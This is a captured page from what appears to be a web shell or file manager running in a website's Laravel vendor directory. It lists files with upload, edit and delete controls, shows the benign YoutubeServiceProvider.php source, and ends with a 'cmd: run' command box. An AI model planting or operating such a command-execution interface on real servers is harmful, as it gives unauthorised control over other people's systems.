/
home
/
techb158
/
ileadtechnology.com
/
vendor
/
alaouy
/
youtube
/
src
/
/home/techb158/ileadtechnology.com/vendor/alaouy/youtube/src
mkdir
upload
Name
Size
Mode
Actions
config/
-
0755
rm
Facades/
-
0755
rm
Rules/
-
0755
rm
Youtube.php
25120
0644
edit
dl
rm
YoutubeServiceProvider.php
910
0644
edit
dl
rm
Edit:
/home/techb158/ileadtechnology.com/vendor/alaouy/youtube/src/YoutubeServiceProvider.php
(910B)
<?php namespace Alaouy\Youtube; use Illuminate\Support\ServiceProvider; class YoutubeServiceProvider extends ServiceProvider { /** * Bootstrap the application events. * * @return void */ public function boot() { $source = realpath(__DIR__ . '/config/youtube.php'); $this->publishes([$source => config_path('youtube.php')]); $this->mergeConfigFrom($source, 'youtube'); } /** * Register the service provider. * * @return void */ public function register() { $this->app->bind(Youtube::class, function () { return new Youtube(config('youtube.key')); }); $this->app->alias(Youtube::class, 'youtube'); } /** * Get the services provided by the provider. * * @return array */ public function provides() { return [Youtube::class]; } }
Save
cmd:
run